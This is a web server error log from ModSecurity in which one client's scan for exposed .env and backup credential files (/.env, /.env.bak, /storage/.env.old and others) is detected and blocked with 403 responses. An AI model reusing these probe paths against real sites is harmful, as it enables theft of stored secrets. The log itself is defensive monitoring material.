[Sun Oct 26 01:24:43.087395 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aP1cO9PNphQKiiMCb4eQnAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:43.087671 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aP1cO9PNphQKiiMCb4eQnAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:43.087921 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.save"] [unique_id "aP1cO9PNphQKiiMCb4eQnAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:43.717185 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cO9PNphQKiiMCb4eQnQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:43.717377 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cO9PNphQKiiMCb4eQnQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:43.717608 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cO9PNphQKiiMCb4eQnQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:43.717798 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.bak"] [unique_id "aP1cO9PNphQKiiMCb4eQnQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:44.324774 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1cPNPNphQKiiMCb4eQngAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:44.324983 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1cPNPNphQKiiMCb4eQngAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:44.325225 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1cPNPNphQKiiMCb4eQngAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:44.325436 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env.old"] [unique_id "aP1cPNPNphQKiiMCb4eQngAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:44.934227 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env, referer: https://www.google.com/
[Sun Oct 26 01:24:45.540310 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.save, referer: https://www.google.com/
[Sun Oct 26 01:24:46.148274 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.bak, referer: https://www.google.com/
[Sun Oct 26 01:24:46.754125 2025] [authz_core:error] [pid 3764940] [client 3.107.185.28:36388] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/.env.old, referer: https://www.google.com/
[Sun Oct 26 01:24:47.359707 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aP1cP9PNphQKiiMCb4eQowAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:47.360026 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aP1cP9PNphQKiiMCb4eQowAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:47.360224 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env"] [unique_id "aP1cP9PNphQKiiMCb4eQowAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:47.967151 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aP1cP9PNphQKiiMCb4eQpAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:47.967423 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aP1cP9PNphQKiiMCb4eQpAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:47.967634 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.save"] [unique_id "aP1cP9PNphQKiiMCb4eQpAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:48.572778 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cQNPNphQKiiMCb4eQpQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:48.572993 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cQNPNphQKiiMCb4eQpQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:48.573239 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cQNPNphQKiiMCb4eQpQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:48.573443 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.bak"] [unique_id "aP1cQNPNphQKiiMCb4eQpQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:49.178638 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cQdPNphQKiiMCb4eQpgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:49.178825 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cQdPNphQKiiMCb4eQpgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:49.179064 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cQdPNphQKiiMCb4eQpgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:49.179252 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/.env.old"] [unique_id "aP1cQdPNphQKiiMCb4eQpgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:51.514879 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP1cQxXkZeq6T3EwQbX-hQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:51.515167 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP1cQxXkZeq6T3EwQbX-hQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:51.515348 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aP1cQxXkZeq6T3EwQbX-hQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:52.120764 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aP1cRBXkZeq6T3EwQbX-hgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:52.121025 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aP1cRBXkZeq6T3EwQbX-hgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:52.121195 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aP1cRBXkZeq6T3EwQbX-hgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:52.726895 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aP1cRBXkZeq6T3EwQbX-hwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:52.727183 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aP1cRBXkZeq6T3EwQbX-hwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:52.727361 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aP1cRBXkZeq6T3EwQbX-hwAAAAY"], referer: https://www.google.com/
